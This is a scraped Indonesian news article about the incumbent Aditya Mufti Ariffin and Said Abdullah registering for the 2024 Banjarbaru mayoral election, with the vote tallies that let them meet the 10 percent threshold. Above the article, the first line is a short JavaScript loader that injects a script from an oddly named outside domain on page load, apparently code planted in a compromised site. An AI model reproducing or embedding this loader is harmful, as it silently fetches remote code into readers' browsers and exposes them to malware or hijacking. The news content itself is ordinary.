(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Putusan Mahkamah Konstusi akhirnya memberikan ruang bagi pasangan calon Aditya Mufti Ariffin dan Said Abdullah maju ikut kontestasi Pemilihan Kepala Daerah (Pilkada) tahun 2024 di Kota Banjarbaru, Kalimantan Selatan (Kalsel).
Hari pertama pembukaan pendaftaran, pasangan bakal calon Wali Kota dan Wakil Wali Kota Banjarbaru Aditya Mufti Ariffin-Said Abdullah resmi mendaftarkan diri untuk Pilkada 2024 ke Komisi Pemilihan Umum (KPU) Banjarbaru, Selasa (27/8/2024) siang.
Diketahui pasangan Aditya-Said Abdullah yang hanya didukung oleh satu partai politik (Parpol) parlemen atau pemilik kursi dan dua dukungan dari partai non parlemen yakni Partai Ummat dan Partai Buruh.
Rombongan Aditya-Said Abdullah mengawali keberangkatan dengan melaksanakan salat zuhur berjamaah di kantor DPC Partai Persatuan Pembangunan (PPP) Kota Banjarbaru, Jalan Garuda, Banjarbaru Utara.
Selepas zuhur dari kantor DPC PPP itu pula, rombongan Aditya-Said Abdullah berangkat ke kantor KPU Banjarbaru di Jalan Trikora. Pasangan ini disambut hangat sederhana oleh staf sekretariat KPU Banjarbaru.
Baca juga: Empat Paslon Siap Mendaftar Pilwali Banjarmasin
Petahana wali kota itu kompak mengenakan pakaian putih-putih bersama Said Abdullah lengkap dengan peci. Mereka didampingi isteri masing-masing, serta sejumlah partai politik pengusung.
Sekitar pukul 13.30 Wita, Aditya-Said Abdullah bersama rombongan memasuki aula KPU Banjarbaru untuk menyerahkan syarat dan persyaratan pencalonan. Aditya-Said Abdullah datang berbekal suara sah Partai Persatuan Pembangunan (PPP) yang mendukung sejak awal, ditambah suara koalisi dari Partai Buruh dan Partai Ummat,
Berdasarkan rekapitulasi suara sah hasil Pileg 2024, Partai Buruh mem[unyai 389 suara sah, lalu PPP sebanyak 13.733 suara sah, dan Partai Ummat 1.936 suara sah. Dengan total 16.058 suara, Aditya-Said Abdullah sudah memenuhi lebih dari 10 persen suara sah sesuai putusan MK.
Baca juga: Pakai Putusan MK, KPU Banjarbaru: Parpol Punya 14.365 Suara Sah Bisa Daftar Pilwali 2024
Petahan Aditya mengakui sempat masih kekurangan 632 suara sah hasil Pileg 2024 untuk mencukupi 10 persen ambang batas pencalonan kepala daerah sesuai putusan MK.
“Kalau dilihat angka ini sangat kecil, sangat gampang kalau dilihat, tetapi dalam perjuangannya sangat berat, mungkin tidak bisa cerita banyak betapa beratnya menutup 632 suara sah ini,” kata Aditya.
Sekadar diketahui PPP memiliki 3 kursi di DPRD Banjarbaru dengan jumlah 13.733 suara sah. Sementara syarat 10 persen suara sah untuk pencalonan adalah 14.365 suara sah. Ada kekurangan 632 suara sah untuk memenuhi 14.365 suara sah tersebut. Nah, jumlah 632 suara sah itu akhirnya didapatkan dari koalisi Partai Ummat dan Partai Buruh.
Baca juga: Muhidin-Hasnur Pilih Hari Terakhir Mendaftar ke KPU Kalsel
Kendati Aditya mengaku menjadi pengalaman dia untuk bisa melengkapi ratusan suara tersisa selama empat hari berjuang.
“Kami ucapkan terima kasih kepada Partai Ummat, Partai Buruh dan PPP. Sampai hari ini Alhamdulillah konsisiten istiqomah untuk membantu kami berjuang,” ungkap dia.
“Mudah-mudahan menjadi amal Jariyah bagi kita semua,” tandas Aditya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
This website uses cookies.